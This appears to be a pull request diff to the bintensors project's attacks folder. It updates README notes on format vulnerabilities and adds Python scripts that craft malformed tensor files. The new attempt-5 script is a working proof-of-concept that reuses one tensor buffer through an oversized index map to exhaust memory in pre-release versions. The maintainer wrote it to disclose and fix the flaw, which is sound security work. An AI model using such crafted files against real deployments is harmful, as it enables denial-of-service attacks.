chore(docs): update attacks from prerelease to release layout #1

Author: LVivona

attacks/README.md

@@ -27,8 +27,21 @@ One of my favourite proposed attacks against `SafeTensors` and this format invol
 
 ### Attempt 4 
 
+> ⚠️ **Note:** The exploit is no longer applicable in the release version (Rust: `0.1.0`, Python: `0.1.0`) due to significant changes in the file layout compared to the pre-release versions (`0.0.1-alpha.3` / `0.0.5`).
+
 This format vulnerability was unexpected and prompted a thorough review, resulting in [commit](https://github.com/GnosisFoundation/bintensors/commit/032826e369d301b49eb264090581e24198d3a4ed) to properly validate the issue. The root cause lies in tensor_info entries exceeding their index_map counterparts, leading to potential memory allocation mismatches. To mitigate this risk, we introduced a validation check: if the size of tensor_info exceeds that of index_map, the format is immediately deemed invalid.
 
 This issue is specific to BinTensors and can only arise if the file has been manually altered.
 
-An alternative approach would be to project the data into a format that preserves order, similar to how SafeTensors uses Metadata to construct HashMetadata before serialization. However, in our testing, this method resulted in a ~40% degradation in deserialization performance while providing only a ~1% improvement in serialization efficiency. Given these trade-offs, we opted for the validation-based approach.
+### Attempt 5
+
+> ⚠️ **Note:** The exploit is no longer applicable in the release version (Rust: `0.1.0`, Python: `0.1.0`) due to significant changes in the file layout compared to the pre-release versions (`0.0.1-alpha.3` / `0.0.5`).
+
+
+I had a moment of clarity that led to identifying a critical flaw in the metadata encoding of the format. Specifically, I realized that an attacker could craft an oversized `index_map` to maliciously reference the **same tensor buffer repeatedly**, resulting in the deserialization of **tens or even hundreds of megabytes** from a single tensor entry — all without increasing the actual tensor data footprint.  
+
+This vulnerability exposes the system to resource exhaustion attacks and bypasses intended memory boundaries.
+
+### Proposed Mitigation
+
+To resolve this issue, the internal `Metadata` structure was redesigned into a more organized and deterministic format, minimizing the risk of errors. Details of the new format can be found in the [specification](https://github.com/GnosisFoundation/bintensors/blob/master/specs/encoding.md#-header-reconstruction).

attacks/av_attempt_3.py

@@ -22,7 +22,7 @@
     "F64": 14,
 }
 
-from typing import Tuple, List
+from typing import Tuple
 
 
 def encode_unsigned_variant_encoding(number: int) -> bytes:
@@ -37,31 +37,23 @@ def encode_unsigned_variant_encoding(number: int) -> bytes:
         return number.to_bytes(1, "little")
 
 
-def encode_tensor_info(dtype: str, shape: Tuple[int, ...], offset: Tuple[int, int]) -> List[bytes]:
-    """Encodes the struct TensorInfo into byte buffer"""
+def encode_header(id: str, dtype: str, shape: Tuple[int, ...], offset: Tuple[int, int]) -> bytes:
+    """Encodes the struct TensorInfo into byte buffer with string ID prefix."""
     if dtype not in _DTYPE:
         raise ValueError(f"Unsupported dtype: {dtype}")
 
-    # flatten out the tensor info
-    layout = chain([_DTYPE[dtype], len(shape)], shape, offset)
-    return b"".join(list(map(encode_unsigned_variant_encoding, layout)))
+    encoded_id = encode_unsigned_variant_encoding(len(id)) + id.encode("utf-8")
 
-
-def encode_hash_map(index_map: Dict[str, int]) -> List[bytes]:
-    """Encodes a dictionary of string keys and integer values."""
-    length = encode_unsigned_variant_encoding(len(index_map))
-
-    hash_map_layout = chain.from_iterable(
-        (
-            encode_unsigned_variant_encoding(len(k)),
-            k.encode("utf-8"),
-            encode_unsigned_variant_encoding(v),
-        )
-        for k, v in index_map.items()
+    # Compose numeric fields
+    numeric_layout = chain(
+        [_DTYPE[dtype], len(shape)],
+        shape,
+        offset
     )
 
-    return b"".join(chain([length], hash_map_layout))
+    encoded_tensor_info = b"".join(encode_unsigned_variant_encoding(x) for x in numeric_layout)
 
+    return encoded_id + encoded_tensor_info
 
 filename = "bintensors_abuse_attempt_3.bt"
 
@@ -74,14 +66,10 @@ def create_payload(size: int):
     length = encode_unsigned_variant_encoding(size)
 
     # Create tensor info buffer
-    tensor_info_buffer = b"".join(encode_tensor_info("F32", shape, (0, tensor_chunk_length)) for _ in range(size))
-    layout_tensor_info = length + tensor_info_buffer
-
-    # Create hash map layout
-    hash_map_layout = encode_hash_map({f"weight_{i}": i for i in range(size)})
+    header = b"".join(encode_header(f"weight_{i}", "F32", shape, (0, tensor_chunk_length)) for i in range(size))
 
     # Construct full layout
-    layout = b"\0" + layout_tensor_info + hash_map_layout
+    layout = b"\x00" + length + header
     layout += b" " * (((8 - len(layout)) % 8) % 8)
     n = len(layout)
     n_header = n.to_bytes(8, "little")
@@ -92,10 +80,13 @@ def create_payload(size: int):
         f.write(layout)
         f.write(b"\0" * tensor_chunk_length)
 
-    print(f"Payload written to {filename}")
+    
+    print(f"[✓] Payload written: {filename}")
 
 
 if __name__ == "__main__":
-    create_payload(5)
-    print(f"The file {filename} is {os.path.getsize(filename) / 10_000_00} Mb")
+    create_payload(100)
+    print(f"[✓] Size: {os.path.getsize(filename) / 1_000_000:.5f} MB")
     load_file(filename)
+
+    

attacks/av_attempt_4.py

@@ -4,6 +4,7 @@
 from typing import List, Dict
 from itertools import chain
 
+
 _DTYPE = {
     "BOL": 0,
     "U8": 1,
@@ -103,6 +104,10 @@ def create_payload(size: int):
 
 
 if __name__ == "__main__":
-    create_payload(2)
-    print(f"The file {filename} is {os.path.getsize(filename) / 10_000_00} Mb")
-    print(load_file(filename))
+    import warnings
+    import bintensors
+    if bintensors.__version__ <= "0.0.5":
+        warnings.warn("This attack will be depricated within the release version of bintensors, and only applies 0.0.5 and below.")
+        create_payload(2)
+        print(f"The file {filename} is {os.path.getsize(filename) / 10_000_00} Mb")
+        print(load_file(filename))

attacks/av_attempt_5.py

@@ -0,0 +1,123 @@
+# Safetensors attack proposal #4
+import os
+import torch 
+from bintensors.torch import load_file, load, save
+from typing import List, Dict
+from itertools import chain
+
+
+_DTYPE = {
+    "BOL": 0,
+    "U8": 1,
+    "I8": 2,
+    "F8_E5M2": 3,
+    "F8_E4M3": 4,
+    "I16": 5,
+    "U16": 6,
+    "F16": 7,
+    "BF16": 8,
+    "I32": 9,
+    "U32": 10,
+    "F32": 11,
+    "F64": 12,
+    "I64": 13,
+    "F64": 14,
+}
+
+from typing import Tuple, List
+
+
+def encode_unsigned_variant_encoding(number: int) -> bytes:
+    """Encodes an unsigned integer into a variable-length format."""
+    if number > 0xFFFFFFFF:
+        return b"\xfd" + number.to_bytes(8, "little")
+    elif number > 0xFFFF:
+        return b"\xfc" + number.to_bytes(4, "little")
+    elif number > 0xFA:
+        return b"\xfb" + number.to_bytes(2, "little")
+    else:
+        return number.to_bytes(1, "little")
+
+
+def encode_tensor_info(dtype: str, shape: Tuple[int, ...], offset: Tuple[int, int]) -> List[bytes]:
+    """Encodes the struct TensorInfo into byte buffer"""
+    if dtype not in _DTYPE:
+        raise ValueError(f"Unsupported dtype: {dtype}")
+
+    # flatten out the tensor info
+    layout = chain([_DTYPE[dtype], len(shape)], shape, offset)
+    return b"".join(list(map(encode_unsigned_variant_encoding, layout)))
+
+
+def custom_encode_hash_map(index_map: Dict[str, int]) -> List[bytes]:
+    """Encodes a dictionary of string keys and integer values."""
+    length = encode_unsigned_variant_encoding(len(index_map))
+
+    hash_map_layout = chain.from_iterable(
+        (
+            encode_unsigned_variant_encoding(len(k)),
+            k.encode("utf-8"),
+            encode_unsigned_variant_encoding(0), # payload
+        )
+        for k, v in index_map.items()
+    )
+
+    return b"".join(chain([length], hash_map_layout))
+
+filename = "bintensors_abuse_attempt_5.bt"
+
+
+def create_payload(size: int):
+    """Generates a binary payload with tensor metadata and hash map layout."""
+    shape = [(1, 1), (2, 2)]
+
+    length = encode_unsigned_variant_encoding(size)
+
+    # Create tensor info buffer
+    tensor_info_buffer = b"".join(
+        [encode_tensor_info(
+            "F32",
+            (1, 1),
+            (0, 4),
+        ),
+         encode_tensor_info(
+            "F32",
+            (2, 2),
+            (4, 20),
+        )]
+    )
+
+    layout_tensor_info = length + tensor_info_buffer
+
+    # Create index_map { "weight_0" : 0, "weight_1" : 0 } same index
+    hash_map_layout = custom_encode_hash_map({f"weight_{i}": i for i in range(size)})
+
+    # Construct full layout
+    layout = b"\0" + layout_tensor_info + hash_map_layout
+    layout += b" " * (((8 - len(layout)) % 8) % 8)
+    n = len(layout)
+    n_header = n.to_bytes(8, "little")
+
+    # Write payload to file
+    with open(filename, "wb") as f:
+        f.write(n_header)
+        f.write(layout)
+        f.write(b"\0" * 20)
+
+    print(f"Payload written to {filename}")
+    return n_header + layout + (b"\0" * 20)
+
+
+if __name__ == "__main__":
+    import warnings
+    import bintensors
+    
+    
+    if bintensors.__version__ <= "0.0.5":
+        warnings.warn("This attack will be depricated within the release version of bintensors, and only applies 0.0.5 and below.")
+        create_payload(2)
+        print(f"The file {filename} is {os.path.getsize(filename) / 10_000_00} Mb")
+        buffer = load_file(filename)
+        print(buffer)
+
+